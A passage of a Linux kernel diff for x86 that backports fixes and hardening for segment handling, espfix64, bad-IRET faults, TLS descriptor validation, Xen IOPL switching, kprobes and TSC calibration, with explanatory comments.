-288,6 +294,8 @@ ENTRY(secondary_startup_64) pushq %rax # target address in negative space lretq +#include "verify_cpu.S" + #ifdef CONFIG_HOTPLUG_CPU /* * Boot CPU0 entry point. It's called from play_dead(). Everything has been set @@ -321,26 +329,28 @@ bad_address: jmp bad_address __INIT - .globl early_idt_handlers -early_idt_handlers: +ENTRY(early_idt_handler_array) # 104(%rsp) %rflags # 96(%rsp) %cs # 88(%rsp) %rip # 80(%rsp) error code i = 0 .rept NUM_EXCEPTION_VECTORS - .if (EXCEPTION_ERRCODE_MASK >> i) & 1 - ASM_NOP2 - .else + .ifeq (EXCEPTION_ERRCODE_MASK >> i) & 1 pushq $0 # Dummy error code, to make stack frame uniform .endif pushq $i # 72(%rsp) Vector number - jmp early_idt_handler + jmp early_idt_handler_common i = i + 1 + .fill early_idt_handler_array + i*EARLY_IDT_HANDLER_SIZE - ., 1, 0xcc .endr +ENDPROC(early_idt_handler_array) -/* This is global to keep gas from relaxing the jumps */ -ENTRY(early_idt_handler) +early_idt_handler_common: + /* + * The stack is the hardware frame, an error code or zero, and the + * vector number. + */ cld cmpl $2,(%rsp) # X86_TRAP_NMI @@ -412,7 +422,7 @@ ENTRY(early_idt_handler) is_nmi: addq $16,%rsp # drop vector number and error code INTERRUPT_RETURN -ENDPROC(early_idt_handler) +ENDPROC(early_idt_handler_common) __INITDATA diff --git a/arch/x86/kernel/ioport.c b/arch/x86/kernel/ioport.c index 4ddaf66ea35f6..792621a324572 100644 --- a/arch/x86/kernel/ioport.c +++ b/arch/x86/kernel/ioport.c @@ -96,9 +96,14 @@ asmlinkage long sys_ioperm(unsigned long from, unsigned long num, int turn_on) SYSCALL_DEFINE1(iopl, unsigned int, level) { struct pt_regs *regs = current_pt_regs(); - unsigned int old = (regs->flags >> 12) & 3; struct thread_struct *t = ¤t->thread; + /* + * Careful: the IOPL bits in regs->flags are undefined under Xen PV + * and changing them has no effect. + */ + unsigned int old = t->iopl >> X86_EFLAGS_IOPL_BIT; + if (level > 3) return -EINVAL; /* Trying to gain more privileges? */ @@ -106,8 +111,9 @@ SYSCALL_DEFINE1(iopl, unsigned int, level) if (!capable(CAP_SYS_RAWIO)) return -EPERM; } - regs->flags = (regs->flags & ~X86_EFLAGS_IOPL) | (level << 12); - t->iopl = level << 12; + regs->flags = (regs->flags & ~X86_EFLAGS_IOPL) | + (level << X86_EFLAGS_IOPL_BIT); + t->iopl = level << X86_EFLAGS_IOPL_BIT; set_iopl_mask(t->iopl); return 0; diff --git a/arch/x86/kernel/kprobes/core.c b/arch/x86/kernel/kprobes/core.c index 211bce445522d..766aa3bf17985 100644 --- a/arch/x86/kernel/kprobes/core.c +++ b/arch/x86/kernel/kprobes/core.c @@ -908,7 +908,19 @@ int __kprobes kprobe_fault_handler(struct pt_regs *regs, int trapnr) * normal page fault. */ regs->ip = (unsigned long)cur->addr; + /* + * Trap flag (TF) has been set here because this fault + * happened where the single stepping will be done. + * So clear it by resetting the current kprobe: + */ + regs->flags &= ~X86_EFLAGS_TF; + + /* + * If the TF flag was set before the kprobe hit, + * don't touch it: + */ regs->flags |= kcb->kprobe_old_flags; + if (kcb->kprobe_status == KPROBE_REENTER) restore_previous_kprobe(kcb); else @@ -1017,6 +1029,15 @@ int __kprobes setjmp_pre_handler(struct kprobe *p, struct pt_regs *regs) regs->flags &= ~X86_EFLAGS_IF; trace_hardirqs_off(); regs->ip = (unsigned long)(jp->entry); + + /* + * jprobes use jprobe_return() which skips the normal return + * path of the function, and this messes up the accounting of the + * function graph tracer to get messed up. + * + * Pause function graph tracing while performing the jprobe function. + */ + pause_graph_tracing(); return 1; } @@ -1042,24 +1063,25 @@ int __kprobes longjmp_break_handler(struct kprobe *p, struct pt_regs *regs) struct kprobe_ctlblk *kcb = get_kprobe_ctlblk(); u8 *addr = (u8 *) (regs->ip - 1); struct jprobe *jp = container_of(p, struct jprobe, kp); + void *saved_sp = kcb->jprobe_saved_sp; if ((addr > (u8 *) jprobe_return) && (addr < (u8 *) jprobe_return_end)) { - if (stack_addr(regs) != kcb->jprobe_saved_sp) { + if (stack_addr(regs) != saved_sp) { struct pt_regs *saved_regs = &kcb->jprobe_saved_regs; printk(KERN_ERR "current sp %p does not match saved sp %p\n", - stack_addr(regs), kcb->jprobe_saved_sp); + stack_addr(regs), saved_sp); printk(KERN_ERR "Saved registers for jprobe %p\n", jp); show_regs(saved_regs); printk(KERN_ERR "Current registers\n"); show_regs(regs); BUG(); } + /* It's OK to start function graph tracing again */ + unpause_graph_tracing(); *regs = kcb->jprobe_saved_regs; - memcpy((kprobe_opcode_t *)(kcb->jprobe_saved_sp), - kcb->jprobes_stack, - MIN_STACK_SIZE(kcb->jprobe_saved_sp)); + memcpy(saved_sp, kcb->jprobes_stack, MIN_STACK_SIZE(saved_sp)); preempt_enable_no_resched(); return 1; } diff --git a/arch/x86/kernel/kvm.c b/arch/x86/kernel/kvm.c index cd6d9a5a42f60..c4ff2a9161399 100644 --- a/arch/x86/kernel/kvm.c +++ b/arch/x86/kernel/kvm.c @@ -279,7 +279,14 @@ do_async_page_fault(struct pt_regs *regs, unsigned long error_code) static void __init paravirt_ops_setup(void) { pv_info.name = "KVM"; - pv_info.paravirt_enabled = 1; + + /* + * KVM isn't paravirt in the sense of paravirt_enabled. A KVM + * guest kernel works like a bare metal kernel with additional + * features, and paravirt_enabled is about features that are + * missing. + */ + pv_info.paravirt_enabled = 0; if (kvm_para_has_feature(KVM_FEATURE_NOP_IO_DELAY)) pv_cpu_ops.io_delay = kvm_io_delay; diff --git a/arch/x86/kernel/kvmclock.c b/arch/x86/kernel/kvmclock.c index 3dd37ebd591b3..41514f56c2413 100644 --- a/arch/x86/kernel/kvmclock.c +++ b/arch/x86/kernel/kvmclock.c @@ -265,7 +265,6 @@ void __init kvmclock_init(void) #endif kvm_get_preset_lpj(); clocksource_register_hz(&kvm_clock, NSEC_PER_SEC); - pv_info.paravirt_enabled = 1; pv_info.name = "KVM"; if (kvm_para_has_feature(KVM_FEATURE_CLOCKSOURCE_STABLE_BIT)) diff --git a/arch/x86/kernel/ldt.c b/arch/x86/kernel/ldt.c index dcbbaa165bdee..c37886d759cca 100644 --- a/arch/x86/kernel/ldt.c +++ b/arch/x86/kernel/ldt.c @@ -20,8 +20,6 @@ #include #include -int sysctl_ldt16 = 0; - #ifdef CONFIG_SMP static void flush_ldt(void *current_mm) { @@ -231,16 +229,10 @@ static int write_ldt(void __user *ptr, unsigned long bytecount, int oldmode) } } - /* - * On x86-64 we do not support 16-bit segments due to - * IRET leaking the high bits of the kernel stack address. - */ -#ifdef CONFIG_X86_64 - if (!ldt_info.seg_32bit && !sysctl_ldt16) { + if (!IS_ENABLED(CONFIG_X86_16BIT) && !ldt_info.seg_32bit) { error = -EINVAL; goto out_unlock; } -#endif fill_ldt(&ldt, &ldt_info); if (oldmode) diff --git a/arch/x86/kernel/microcode_intel_early.c b/arch/x86/kernel/microcode_intel_early.c index 2e9e12871c2b5..a883942aee44a 100644 --- a/arch/x86/kernel/microcode_intel_early.c +++ b/arch/x86/kernel/microcode_intel_early.c @@ -321,7 +321,7 @@ get_matching_model_microcode(int cpu, unsigned long start, unsigned int mc_saved_count = mc_saved_data->mc_saved_count; int i; - while (leftover) { + while (leftover && mc_saved_count < ARRAY_SIZE(mc_saved_tmp)) { mc_header = (struct microcode_header_intel *)ucode_ptr; mc_size = get_totalsize(mc_header); diff --git a/arch/x86/kernel/paravirt_patch_64.c b/arch/x86/kernel/paravirt_patch_64.c index 3f08f34f93ebc..a1da6737ba5b8 100644 --- a/arch/x86/kernel/paravirt_patch_64.c +++ b/arch/x86/kernel/paravirt_patch_64.c @@ -6,7 +6,6 @@ DEF_NATIVE(pv_irq_ops, irq_disable, "cli"); DEF_NATIVE(pv_irq_ops, irq_enable, "sti"); DEF_NATIVE(pv_irq_ops, restore_fl, "pushq %rdi; popfq"); DEF_NATIVE(pv_irq_ops, save_fl, "pushfq; popq %rax"); -DEF_NATIVE(pv_cpu_ops, iret, "iretq"); DEF_NATIVE(pv_mmu_ops, read_cr2, "movq %cr2, %rax"); DEF_NATIVE(pv_mmu_ops, read_cr3, "movq %cr3, %rax"); DEF_NATIVE(pv_mmu_ops, write_cr3, "movq %rdi, %cr3"); @@ -50,7 +49,6 @@ unsigned native_patch(u8 type, u16 clobbers, void *ibuf, PATCH_SITE(pv_irq_ops, save_fl); PATCH_SITE(pv_irq_ops, irq_enable); PATCH_SITE(pv_irq_ops, irq_disable); - PATCH_SITE(pv_cpu_ops, iret); PATCH_SITE(pv_cpu_ops, irq_enable_sysexit); PATCH_SITE(pv_cpu_ops, usergs_sysret32); PATCH_SITE(pv_cpu_ops, usergs_sysret64); diff --git a/arch/x86/kernel/process_32.c b/arch/x86/kernel/process_32.c index 7305f7dfc7abe..0339f5c14bf9e 100644 --- a/arch/x86/kernel/process_32.c +++ b/arch/x86/kernel/process_32.c @@ -147,7 +147,7 @@ int copy_thread(unsigned long clone_flags, unsigned long sp, childregs->bp = arg; childregs->orig_ax = -1; childregs->cs = __KERNEL_CS | get_kernel_rpl(); - childregs->flags = X86_EFLAGS_IF | X86_EFLAGS_BIT1; + childregs->flags = X86_EFLAGS_IF | X86_EFLAGS_FIXED; p->fpu_counter = 0; p->thread.io_bitmap_ptr = NULL; memset(p->thread.ptrace_bps, 0, sizeof(p->thread.ptrace_bps)); diff --git a/arch/x86/kernel/process_64.c b/arch/x86/kernel/process_64.c index 355ae06dbf94f..580001c2b69ae 100644 --- a/arch/x86/kernel/process_64.c +++ b/arch/x86/kernel/process_64.c @@ -49,6 +49,7 @@ #include #include #include +#include asmlinkage extern void ret_from_fork(void); @@ -176,7 +177,7 @@ int copy_thread(unsigned long clone_flags, unsigned long sp, childregs->bp = arg; childregs->orig_ax = -1; childregs->cs = __KERNEL_CS | get_kernel_rpl(); - childregs->flags = X86_EFLAGS_IF | X86_EFLAGS_BIT1; + childregs->flags = X86_EFLAGS_IF | X86_EFLAGS_FIXED; return 0; } *childregs = *current_pt_regs(); @@ -279,24 +280,9 @@ __switch_to(struct task_struct *prev_p, struct task_struct *next_p) fpu = switch_fpu_prepare(prev_p, next_p, cpu); - /* - * Reload esp0, LDT and the page table pointer: - */ + /* Reload esp0 and ss1. */ load_sp0(tss, next); - /* - * Switch DS and ES. - * This won't pick up thread selector changes, but I guess that is ok. - */ - savesegment(es, prev->es); - if (unlikely(next->es | prev->es)) - loadsegment(es, next->es); - - savesegment(ds, prev->ds); - if (unlikely(next->ds | prev->ds)) - loadsegment(ds, next->ds); - - /* We must save %fs and %gs before load_TLS() because * %fs and %gs may be cleared by load_TLS(). * @@ -305,41 +291,101 @@ __switch_to(struct task_struct *prev_p, struct task_struct *next_p) savesegment(fs, fsindex); savesegment(gs, gsindex); + /* + * Load TLS before restoring any segments so that segment loads + * reference the correct GDT entries. + */ load_TLS(next, cpu); /* - * Leave lazy mode, flushing any hypercalls made here. - * This must be done before restoring TLS segments so - * the GDT and LDT are properly updated, and must be - * done before math_state_restore, so the TS bit is up - * to date. + * Leave lazy mode, flushing any hypercalls made here. This + * must be done after loading TLS entries in the GDT but before + * loading segments that might reference them, and and it must + * be done before math_state_restore, so the TS bit is up to + * date. */ arch_end_context_switch(next_p); + /* Switch DS and ES. + * + * Reading them only returns the selectors, but writing them (if + * nonzero) loads the full descriptor from the GDT or LDT. The + * LDT for next is loaded in switch_mm, and the GDT is loaded + * above. + * + * We therefore need to write new values to the segment + * registers on every context switch unless both the new and old + * values are zero. + * + * Note that we don't need to do anything for CS and SS, as + * those are saved and restored as part of pt_regs. + */ + savesegment(es, prev->es); + if (unlikely(next->es | prev->es)) + loadsegment(es, next->es); + + savesegment(ds, prev->ds); + if (unlikely(next->ds | prev->ds)) + loadsegment(ds, next->ds); + /* * Switch FS and GS. * - * Segment register != 0 always requires a reload. Also - * reload when it has changed. When prev process used 64bit - * base always reload to avoid an information leak. + * These are even more complicated than FS and GS: they have + * 64-bit bases are that controlled by arch_prctl. Those bases + * only differ from the values in the GDT or LDT if the selector + * is 0. + * + * Loading the segment register resets the hidden base part of + * the register to 0 or the value from the GDT / LDT. If the + * next base address zero, writing 0 to the segment register is + * much faster than using wrmsr to explicitly zero the base. + * + * The thread_struct.fs and thread_struct.gs values are 0 + * if the fs and gs bases respectively are not overridden + * from the values implied by fsindex and gsindex. They + * are nonzero, and store the nonzero base addresses, if + * the bases are overridden. + * + * (fs != 0 && fsindex != 0) || (gs != 0 && gsindex != 0) should + * be impossible. + * + * Therefore we need to reload the segment registers if either + * the old or new selector is nonzero, and we need to override + * the base address if next thread expects it to be overridden. + * + * This code is unnecessarily slow in the case where the old and + * new indexes are zero and the new base is nonzero -- it will + * unnecessarily write 0 to the selector before writing the new + * base address. + * + * Note: This all depends on arch_prctl being the only way that + * user code can override the segment base. Once wrfsbase and + * wrgsbase are enabled, most of this code will need to change. */ if (unlikely(fsindex | next->fsindex | prev->fs)) { loadsegment(fs, next->fsindex); + /* - * Check if the user used a selector != 0; if yes - * clear 64bit base, since overloaded base is always - * mapped to the Null selector + * If user code wrote a nonzero value to FS, then it also + * cleared the overridden base address. + * + * XXX: if user code wrote 0 to FS and cleared the base + * address itself, we won't notice and we'll incorrectly + * restore the prior base address next time we reschdule + * the process. */ if (fsindex) prev->fs = 0; } - /* when next process has a 64bit base use it */ if (next->fs) wrmsrl(MSR_FS_BASE, next->fs); prev->fsindex = fsindex; if (unlikely(gsindex | next->gsindex | prev->gs)) { load_gs_index(next->gsindex); + + /* This works (and fails) the same way as fsindex above. */ if (gsindex) prev->gs = 0; } @@ -367,6 +413,17 @@ __switch_to(struct task_struct *prev_p, struct task_struct *next_p) task_thread_info(prev_p)->flags & _TIF_WORK_CTXSW_PREV)) __switch_to_xtra(prev_p, next_p, tss); +#ifdef CONFIG_XEN + /* + * On Xen PV, IOPL bits in pt_regs->flags have no effect, and + * current_pt_regs()->flags may not match the current task's + * intended IOPL. We need to switch it manually. + */ + if (unlikely(xen_pv_domain() && + prev->iopl != next->iopl)) + xen_set_iopl_mask(next->iopl); +#endif + return prev_p; } diff --git a/arch/x86/kernel/ptrace.c b/arch/x86/kernel/ptrace.c index 29a8120e6fe88..baa61e7370b75 100644 --- a/arch/x86/kernel/ptrace.c +++ b/arch/x86/kernel/ptrace.c @@ -1475,15 +1475,6 @@ void send_sigtrap(struct task_struct *tsk, struct pt_regs *regs, force_sig_info(SIGTRAP, &info, tsk); } - -#ifdef CONFIG_X86_32 -# define IS_IA32 1 -#elif defined CONFIG_IA32_EMULATION -# define IS_IA32 is_compat_task() -#else -# define IS_IA32 0 -#endif - /* * We must return the syscall number to actually look up in the table. * This can be -1L to skip running any syscall at all. @@ -1521,7 +1512,7 @@ long syscall_trace_enter(struct pt_regs *regs) if (unlikely(test_thread_flag(TIF_SYSCALL_TRACEPOINT))) trace_sys_enter(regs, regs->orig_ax); - if (IS_IA32) + if (is_ia32_task()) audit_syscall_entry(AUDIT_ARCH_I386, regs->orig_ax, regs->bx, regs->cx, diff --git a/arch/x86/kernel/reboot.c b/arch/x86/kernel/reboot.c index 3876c04feef9d..bf08cb7a1698c 100644 --- a/arch/x86/kernel/reboot.c +++ b/arch/x86/kernel/reboot.c @@ -366,6 +366,14 @@ static struct dmi_system_id __initdata reboot_dmi_table[] = { DMI_MATCH(DMI_BOARD_NAME, "P4S800"), }, }, + { /* Handle problems with rebooting on the iMac10,1. */ + .callback = set_pci_reboot, + .ident = "Apple iMac10,1", + .matches = { + DMI_MATCH(DMI_SYS_VENDOR, "Apple Inc."), + DMI_MATCH(DMI_PRODUCT_NAME, "iMac10,1"), + }, + }, { /* Handle reboot issue on Acer Aspire one */ .callback = set_kbd_reboot, diff --git a/arch/x86/kernel/resource.c b/arch/x86/kernel/resource.c index 2a26819bb6a8d..80eab01c1a68a 100644 --- a/arch/x86/kernel/resource.c +++ b/arch/x86/kernel/resource.c @@ -37,10 +37,12 @@ static void remove_e820_regions(struct resource *avail) void arch_remove_reservations(struct resource *avail) { - /* Trim out BIOS areas (low 1MB and high 2MB) and E820 regions */ + /* + * Trim out BIOS area (high 2MB) and E820 regions. We do not remove + * the low 1MB unconditionally, as this area is needed for some ISA + * cards requiring a memory range, e.g. the i82365 PCMCIA controller. + */ if (avail->flags & IORESOURCE_MEM) { - if (avail->start < BIOS_END) - avail->start = BIOS_END; resource_clip(avail, BIOS_ROM_BASE, BIOS_ROM_END); remove_e820_regions(avail); diff --git a/arch/x86/kernel/setup.c b/arch/x86/kernel/setup.c index a3627ade4b157..e4baa389ee502 100644 --- a/arch/x86/kernel/setup.c +++ b/arch/x86/kernel/setup.c @@ -1156,6 +1156,14 @@ void __init setup_arch(char **cmdline_p) clone_pgd_range(initial_page_table + KERNEL_PGD_BOUNDARY, swapper_pg_dir + KERNEL_PGD_BOUNDARY, KERNEL_PGD_PTRS); + + /* + * sync back low identity map too. It is used for example + * in the 32-bit EFI stub. + */ + clone_pgd_range(initial_page_table, + swapper_pg_dir + KERNEL_PGD_BOUNDARY, + min(KERNEL_PGD_PTRS, KERNEL_PGD_BOUNDARY)); #endif tboot_probe(); diff --git a/arch/x86/kernel/signal.c b/arch/x86/kernel/signal.c index 087ab2af381ab..f11fd597c5b6a 100644 --- a/arch/x86/kernel/signal.c +++ b/arch/x86/kernel/signal.c @@ -677,16 +677,24 @@ handle_signal(struct ksignal *ksig, struct pt_regs *regs) * handler too. */ regs->flags &= ~X86_EFLAGS_TF; + /* + * Ensure the signal handler starts with the new fpu state. + */ + if (used_math()) + drop_init_fpu(current); } signal_setup_done(failed, ksig, test_thread_flag(TIF_SINGLESTEP)); } -#ifdef CONFIG_X86_32 -#define NR_restart_syscall __NR_restart_syscall -#else /* !CONFIG_X86_32 */ -#define NR_restart_syscall \ - test_thread_flag(TIF_IA32) ? __NR_ia32_restart_syscall : __NR_restart_syscall -#endif /* CONFIG_X86_32 */ +static inline unsigned long get_nr_restart_syscall(const struct pt_regs *regs) +{ +#if defined(CONFIG_X86_32) || !defined(CONFIG_X86_64) + return __NR_restart_syscall; +#else /* !CONFIG_X86_32 && CONFIG_X86_64 */ + return test_thread_flag(TIF_IA32) ? __NR_ia32_restart_syscall : + __NR_restart_syscall | (regs->orig_ax & __X32_SYSCALL_BIT); +#endif /* CONFIG_X86_32 || !CONFIG_X86_64 */ +} /* * Note that 'init' is a special process: it doesn't get signals it doesn't @@ -715,7 +723,7 @@ static void do_signal(struct pt_regs *regs) break; case -ERESTART_RESTARTBLOCK: - regs->ax = NR_restart_syscall; + regs->ax = get_nr_restart_syscall(regs); regs->ip -= 2; break; } diff --git a/arch/x86/kernel/smpboot.c b/arch/x86/kernel/smpboot.c index bfd348e993692..87084ab90d190 100644 --- a/arch/x86/kernel/smpboot.c +++ b/arch/x86/kernel/smpboot.c @@ -264,6 +264,13 @@ notrace static void __cpuinit start_secondary(void *unused) */ check_tsc_sync_target(); + /* + * Enable the espfix hack for this CPU + */ +#ifdef CONFIG_X86_ESPFIX64 + init_espfix_ap(); +#endif + /* * We need to hold vector_lock so there the set of online cpus * does not change while we are assigning vectors to cpus. Holding @@ -1277,6 +1284,9 @@ static void remove_siblinginfo(int cpu) for_each_cpu(sibling, cpu_sibling_mask(cpu)) cpumask_clear_cpu(cpu, cpu_sibling_mask(sibling)); + for_each_cpu(sibling, cpu_llc_shared_mask(cpu)) + cpumask_clear_cpu(cpu, cpu_llc_shared_mask(sibling)); + cpumask_clear(cpu_llc_shared_mask(cpu)); cpumask_clear(cpu_sibling_mask(cpu)); cpumask_clear(cpu_core_mask(cpu)); c->phys_proc_id = 0; diff --git a/arch/x86/kernel/tls.c b/arch/x86/kernel/tls.c index f7fec09e3e3a8..7fc5e843f247b 100644 --- a/arch/x86/kernel/tls.c +++ b/arch/x86/kernel/tls.c @@ -27,6 +27,58 @@ static int get_free_idx(void) return -ESRCH; } +static bool tls_desc_okay(const struct user_desc *info) +{ + /* + * For historical reasons (i.e. no one ever documented how any + * of the segmentation APIs work), user programs can and do + * assume that a struct user_desc that's all zeros except for + * entry_number means "no segment at all". This never actually + * worked. In fact, up to Linux 3.19, a struct user_desc like + * this would create a 16-bit read-write segment with base and + * limit both equal to zero. + * + * That was close enough to "no segment at all" until we + * hardened this function to disallow 16-bit TLS segments. Fix + * it up by interpreting these zeroed segments the way that they + * were almost certainly intended to be interpreted. + * + * The correct way to ask for "no segment at all" is to specify + * a user_desc that satisfies LDT_empty. To keep everything + * working, we accept both. + * + * Note that there's a similar kludge in modify_ldt -- look at + * the distinction between modes 1 and 0x11. + */ + if (LDT_empty(info) || LDT_zero(info)) + return true; + + /* + * espfix is required for 16-bit data segments, but espfix + * only works for LDT segments. + */ + if (!info->seg_32bit) + return false; + + /* Only allow data segments in the TLS array. */ + if (info->contents > 1) + return false; + + /* + * Non-present segments with DPL 3 present an interesting attack + * surface. The kernel should handle such segments correctly, + * but TLS is very difficult to protect in a sandbox, so prevent + * such segments from being created. + * + * If userspace needs to remove a TLS entry, it can still delete + * it outright. + */ + if (info->seg_not_present) + return false; + + return true; +} + static void set_tls_desc(struct task_struct *p, int idx, const struct user_desc *info, int n) { @@ -40,7 +92,7 @@ static void set_tls_desc(struct task_struct *p, int idx, cpu = get_cpu(); while (n-- > 0) { - if (LDT_empty(info)) + if (LDT_empty(info) || LDT_zero(info)) desc->a = desc->b = 0; else fill_ldt(desc, info); @@ -66,6 +118,9 @@ int do_set_thread_area(struct task_struct *p, int idx, if (copy_from_user(&info, u_info, sizeof(info))) return -EFAULT; + if (!tls_desc_okay(&info)) + return -EINVAL; + if (idx == -1) idx = info.entry_number; @@ -192,6 +247,7 @@ int regset_tls_set(struct task_struct *target, const struct user_regset *regset, { struct user_desc infobuf[GDT_ENTRY_TLS_ENTRIES]; const struct user_desc *info; + int i; if (pos >= GDT_ENTRY_TLS_ENTRIES * sizeof(struct user_desc) || (pos % sizeof(struct user_desc)) != 0 || @@ -205,6 +261,10 @@ int regset_tls_set(struct task_struct *target, const struct user_regset *regset, else info = infobuf; + for (i = 0; i < count / sizeof(struct user_desc); i++) + if (!tls_desc_okay(info + i)) + return -EINVAL; + set_tls_desc(target, GDT_ENTRY_TLS_MIN + (pos / sizeof(struct user_desc)), info, count / sizeof(struct user_desc)); diff --git a/arch/x86/kernel/traps.c b/arch/x86/kernel/traps.c index 772e2a846deca..0010ed7c3ec2a 100644 --- a/arch/x86/kernel/traps.c +++ b/arch/x86/kernel/traps.c @@ -220,33 +220,41 @@ DO_ERROR(X86_TRAP_OLD_MF, SIGFPE, "coprocessor segment overrun", coprocessor_segment_overrun) DO_ERROR(X86_TRAP_TS, SIGSEGV, "invalid TSS", invalid_TSS) DO_ERROR(X86_TRAP_NP, SIGBUS, "segment not present", segment_not_present) -#ifdef CONFIG_X86_32 DO_ERROR(X86_TRAP_SS, SIGBUS, "stack segment", stack_segment) -#endif DO_ERROR_INFO(X86_TRAP_AC, SIGBUS, "alignment check", alignment_check, BUS_ADRALN, 0) #ifdef CONFIG_X86_64 /* Runs on IST stack */ -dotraplinkage void do_stack_segment(struct pt_regs *regs, long error_code) -{ - enum ctx_state prev_state; - - prev_state = exception_enter(); - if (notify_die(DIE_TRAP, "stack segment", regs, error_code, - X86_TRAP_SS, SIGBUS) != NOTIFY_STOP) { - preempt_conditional_sti(regs); - do_trap(X86_TRAP_SS, SIGBUS, "stack segment", regs, error_code, NULL); - preempt_conditional_cli(regs); - } - exception_exit(prev_state); -} - dotraplinkage void do_double_fault(struct pt_regs *regs, long error_code) { static const char str[] = "double fault"; struct task_struct *tsk = current; +#ifdef CONFIG_X86_ESPFIX64 + extern unsigned char native_irq_return_iret[]; + + /* + * If IRET takes a non-IST fault on the espfix64 stack, then we + * end up promoting it to a doublefault. In that case, modify + * the stack to make it look like we just entered the #GP + * handler from user space, similar to bad_iret. + */ + if (((long)regs->sp >> PGDIR_SHIFT) == ESPFIX_PGD_ENTRY && + regs->cs == __KERNEL_CS && + regs->ip == (unsigned long)native_irq_return_iret) + { + struct pt_regs *normal_regs = task_pt_regs(current); + + /* Fake a #GP(0) from userspace. */ + memmove(&normal_regs->ip, (void *)regs->sp, 5*8); + normal_regs->orig_ax = 0; /* Missing (lost) #GP error code */ + regs->ip = (unsigned long)general_protection; + regs->sp = (unsigned long)&normal_regs->orig_ax; + return; + } +#endif + exception_enter(); /* Return not checked because double check cannot be ignored */ notify_die(DIE_TRAP, str, regs, error_code, X86_TRAP_DF, SIGSEGV); @@ -354,7 +362,7 @@ dotraplinkage void __kprobes notrace do_int3(struct pt_regs *regs, long error_co * for scheduling or signal handling. The actual stack switch is done in * entry.S */ -asmlinkage __kprobes struct pt_regs *sync_regs(struct pt_regs *eregs) +asmlinkage notrace __kprobes struct pt_regs *sync_regs(struct pt_regs *eregs) { struct pt_regs *regs = eregs; /* Did already sync */ @@ -373,6 +381,35 @@ asmlinkage __kprobes struct pt_regs *sync_regs(struct pt_regs *eregs) *regs = *eregs; return regs; } + +struct bad_iret_stack { + void *error_entry_ret; + struct pt_regs regs; +}; + +asmlinkage __visible notrace __kprobes +struct bad_iret_stack *fixup_bad_iret(struct bad_iret_stack *s) +{ + /* + * This is called from entry_64.S early in handling a fault + * caused by a bad iret to user mode. To handle the fault + * correctly, we want move our stack frame to task_pt_regs + * and we want to pretend that the exception came from the + * iret target. + */ + struct bad_iret_stack *new_stack = + container_of(task_pt_regs(current), + struct bad_iret_stack, regs); + + /* Copy the IRET target to the new stack. */ + memmove(&new_stack->regs.ip, (void *)s->regs.sp, 5*8); + + /* Copy the remainder of the stack from the current stack. */ + memmove(new_stack, s, offsetof(struct bad_iret_stack, regs.ip)); + + BUG_ON(!user_mode_vm(&new_stack->regs)); + return new_stack; +} #endif /* @@ -745,7 +782,7 @@ void __init trap_init(void) set_intr_gate(X86_TRAP_OLD_MF, &coprocessor_segment_overrun); set_intr_gate(X86_TRAP_TS, &invalid_TSS); set_intr_gate(X86_TRAP_NP, &segment_not_present); - set_intr_gate_ist(X86_TRAP_SS, &stack_segment, STACKFAULT_STACK); + set_intr_gate(X86_TRAP_SS, stack_segment); set_intr_gate(X86_TRAP_GP, &general_protection); set_intr_gate(X86_TRAP_SPURIOUS, &spurious_interrupt_bug); set_intr_gate(X86_TRAP_MF, &coprocessor_error); diff --git a/arch/x86/kernel/tsc.c b/arch/x86/kernel/tsc.c index 098b3cfda72ee..9714a7aa32fcd 100644 --- a/arch/x86/kernel/tsc.c +++ b/arch/x86/kernel/tsc.c @@ -20,6 +20,7 @@ #include #include #include +#include unsigned int __read_mostly cpu_khz; /* TSC clocks / usec, not used here */ EXPORT_SYMBOL(cpu_khz); @@ -380,7 +381,7 @@ static unsigned long quick_pit_calibrate(void) goto success; } } - pr_err("Fast TSC calibration failed\n"); + pr_info("Fast TSC calibration failed\n"); return 0; success: @@ -806,15 +807,17 @@ EXPORT_SYMBOL_GPL(mark_tsc_unstable); static void __init check_system_tsc_reliable(void) { -#ifdef CONFIG_MGEODE_LX - /* RTSC counts during suspend */ +#if defined(CONFIG_MGEODEGX1) || defined(CONFIG_MGEODE_LX) || defined(CONFIG_X86_GENERIC) + if (is_geode_lx()) { + /* RTSC counts during suspend */ #define RTSC_SUSP 0x100 - unsigned long res_low, res_high; + unsigned long res_low, res_high; - rdmsr_safe(MSR_GEODE_BUSCONT_CONF0, &res_low, &res_high); - /* Geode_LX - the OLPC CPU has a very reliable TSC */ - if (res_low & RTSC_SUSP) - tsc_clocksource_reliable = 1; + rdmsr_safe(MSR_GEODE_BUSCONT_CONF0, &res_low, &res_high); + /* Geode_LX - the OLPC CPU has a very reliable TSC */ + if (res_low & RTSC_SUSP) + tsc_clocksource_reliable = 1; + } #endif if (boot_cpu_has(X86_FEATURE_TSC_RELIABLE)) tsc_clocksource_reliable = 1; @@ -968,14 +971,17 @@ void __init tsc_init(void) x86_init.timers.tsc_pre_init(); - if (!cpu_has_tsc) + if (!cpu_has_tsc) { + setup_clear_cpu_cap(X86_FEATURE_TSC_DEADLINE_TIMER); return; + } tsc_khz = x86_platform.calibrate_tsc(); cpu_khz = tsc_khz; if (!tsc_khz) { mark_tsc_unstable("could not calculate TSC khz"); + setup_clear_cpu_cap(X86_FEATURE_TSC_DEADLINE_TIMER); return; } diff --git a/arch/x86/kernel/verify_cpu.S b/arch/x86/kernel/verify_cpu.S index b9242bacbe59a..4cf401f581e7e 100644 --- a/arch/x86/kernel/verify_cpu.S +++ b/arch/x86/kernel/verify_cpu.S @@ -34,10 +34,11 @@ #include verify_cpu: - pushfl # Save caller passed flags - pushl $0 # Kill any dangerous flags - popfl + pushf # Save caller passed flags + push $0 # Kill any dangerous flags + popf +#ifndef __x86_64__ pushfl # standard way to check for cpuid popl %eax movl %eax,%ebx @@ -48,6 +49,7 @@ verify_cpu: popl %eax cmpl %eax,%ebx jz verify_cpu_no_longmode # cpu has no cpuid +#endif movl $0x0,%eax # See if cpuid 1 is implemented cpuid @@ -130,10 +132,10 @@ verify_cpu_sse_test: jmp verify_cpu_sse_test # try again verify_cpu_no_longmode: - popfl # Restore caller passed flags + popf # Restore caller passed flags movl $1,%eax ret verify_cpu_sse_ok: - popfl # Restore caller passed flags + popf # Restore caller passed flags xorl %eax, %eax ret diff --git a/arch/x86/kernel/vsyscall_64.c b/arch/x86/kernel/vsyscall_64.c index 9a907a67be8f4..c52c07efe970a 100644 --- a/arch/x86/kernel/vsyscall_64.c +++ b/arch/x86/kernel/vsyscall_64.c @@ -125,10 +125,10 @@ static void warn_bad_vsyscall(const char *level, struct pt_regs *regs, if (!show_unhandled_signals) return; - pr_notice_ratelimited("%s%s[%d] %s ip:%lx cs:%lx sp:%lx ax:%lx si:%lx di:%lx\n", - level, current->comm, task_pid_nr(current), - 